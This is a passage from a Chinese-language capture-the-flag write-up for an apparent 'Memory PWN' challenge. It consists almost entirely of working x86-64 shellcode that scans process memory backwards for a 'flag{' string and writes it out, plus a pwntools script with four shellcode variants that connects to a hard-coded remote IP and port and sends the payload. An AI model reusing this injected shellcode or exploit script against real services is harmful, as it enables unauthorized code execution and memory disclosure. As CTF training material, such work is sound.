write(1, flag_addr, length)系统调用
4. 完整攻击脚本
4.1 完整shellcode
/* 获取当前执行地址 */
lea rsi, [rip]
/* 设置搜索范围限制,避免无限循环 */
mov rcx, 500
search_loop:
/* 向前移动一个字节 */
sub rsi, 1
dec rcx
jz not_found
/* 比较 "flag" (0x67616c66 小端序) */
cmp dword ptr [rsi], 0x67616c66
jne search_loop
/* 验证下一个字节是否为 '{' */
cmp byte ptr [rsi + 4], 0x7b
jne search_loop
/* 找到了 "flag{",现在计算长度 */
xor rcx, rcx
find_len:
mov al, byte ptr [rsi + rcx]
cmp al, 0x7d /* '}' */
je found_end
cmp al, 0x0a /* 换行符 */
je found_end
cmp al, 0x00 /* null */
je found_end
inc rcx
cmp rcx, 100 /* 最大长度限制 */
jl find_len
jmp output
found_end:
inc rcx /* 包含结束字符 */
output:
/* write(1, rsi, rcx) */
mov rdi, 1 /* stdout */
mov rdx, rcx /* 长度 */
mov rax, 1 /* sys_write */
syscall
jmp exit_now
not_found:
/* 输出错误信息 */
mov rdi, 1
lea rsi, [rip + err_msg]
mov rdx, 15
mov rax, 1
syscall
exit_now:
/* exit(0) */
xor edi, edi
mov rax, 60 /* sys_exit */
syscall
err_msg:
.ascii "FLAG NOT FOUND\n"
4.2 python exploit脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Memory PWN - 最终版本"""
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
REMOTE_HOST = "39.106.48.123"
REMOTE_PORT = 39263
def exploit_v1():
"""版本1: 使用 lea [rip] 向后读取"""
return asm('''
/* 获取当前位置 */
lea rsi, [rip]
/* 向后 200 字节(覆盖 flag 区域) */
sub rsi, 200
/* 输出 200 字节 */
mov rdi, 1
mov rdx, 200
mov rax, 1
syscall
/* exit */
xor edi, edi
mov rax, 60
syscall
''')
def exploit_v2():
"""版本2: 多次尝试不同偏移"""
return asm('''
/* 输出标记 "[START]\n" */
mov rdi, 1
lea rsi, [rip + start_msg]
mov rdx, 8
mov rax, 1
syscall
/* 获取当前位置 */
lea rbx, [rip]
/* 尝试偏移 -50 */
lea rsi, [rbx - 50]
mov rdi, 1
mov rdx, 50
mov rax, 1
syscall
/* 输出分隔符 "\n[NEXT]\n" */
mov rdi, 1
lea rsi, [rip + next_msg]
mov rdx, 8
mov rax, 1
syscall
/* 尝试偏移 -100 */
lea rsi, [rbx - 100]
mov rdi, 1
mov rdx, 50
mov rax, 1
syscall
/* 输出结束标记 "\n[END]\n" */
mov rdi, 1
lea rsi, [rip + end_msg]
mov rdx, 7
mov rax, 1
syscall
/* exit */
xor edi, edi
mov rax, 60
syscall
start_msg: .ascii "[START]\\n"
next_msg: .ascii "\\n[NEXT]\\n"
end_msg: .ascii "\\n[END]\\n"
''')
def exploit_v3():
"""版本3: 搜索并输出"""
return asm('''
/* 获取当前地址 */
lea rsi, [rip]
/* 限制搜索范围 */
mov rcx, 500
search_loop:
sub rsi, 1
dec rcx
jz not_found
/* 搜索 "flag" (0x67616c66) */
cmp dword ptr [rsi], 0x67616c66
jne search_loop
/* 检查下一个字节是否是 '{' */
cmp byte ptr [rsi + 4], 0x7b
jne search_loop
/* 找到了!计算长度 */
xor rcx, rcx
find_len:
mov al, byte ptr [rsi + rcx]
cmp al, 0x7d
je found_end
cmp al, 0x0a
je found_end
cmp al, 0
je found_end
inc rcx
cmp rcx, 100
jl find_len
found_end:
inc rcx /* 包含结束字符 */
/* 输出 flag */
mov rdi, 1
mov rdx, rcx
mov rax, 1
syscall
jmp do_exit
not_found:
/* 输出错误 */
mov rdi, 1
lea rsi, [rip + err_msg]
mov rdx, 15
mov rax, 1
syscall
do_exit:
xor edi, edi
mov rax, 60
syscall
err_msg: .ascii "FLAG NOT FOUND\\n"
''')
def exploit_v4():
"""版本4: 简单向后固定距离"""
return asm('''
/* 获取当前位置 */
lea rsi, [rip]
/* 向后 80 字节 */
sub rsi, 80
/* 输出 100 字节 */
mov rdi, 1
mov rdx, 100
mov rax, 1
syscall
/* exit */
xor edi, edi
mov rax, 60
syscall
''')
def run_exploit(version):
"""运行指定版本的 exploit"""
exploits = {
1: ("向后读取200字节", exploit_v1),
2: ("多次尝试不同偏移", exploit_v2),
3: ("搜索flag字符串", exploit_v3),
4: ("向后80字节", exploit_v4),
}
if version not in exploits:
print(f"[-] 无效版本: {version}")
return
name, func = exploits[version]
print(f"\n[*] 使用版本 {version}: {name}")
print("="*60)
io = remote(REMOTE_HOST, REMOTE_PORT)
try:
io.recvuntil(b' > ', timeout=2)
except:
pass
shellcode = func()
print(f"[*] Shellcode 长度: {len(shellcode)} 字节")
io.send(shellcode)
result = io.recvall(timeout=3)
print(f"\n[+] 收到 {len(result)} 字节:")
if result:
print("="*60)
print(result.decode('latin-1', errors='replace'))
print("="*60)
if b'flag{' in result or b'FLAG{' in result:
print("\n🎉 找到 Flag!")
else:
print("(无输出)")
io.close()
def main():
import sys
if len(sys.argv) < 2:
print("用法: python3 exp_final.py <版本号>")
print("\n可用版本:")
print(" 1 - 向后读取200字节(暴力)")
print(" 2 - 多次尝试不同偏移(调试用)")
print(" 3 - 搜索flag字符串(智能)")
print(" 4 - 向后80字节(快速)")
print("\n推荐: 先试 2,找到合适偏移后用 3")
return 1
version = int(sys.argv[1])
run_exploit(version)
return 0
if __name__ == '__main__':
exit(main())
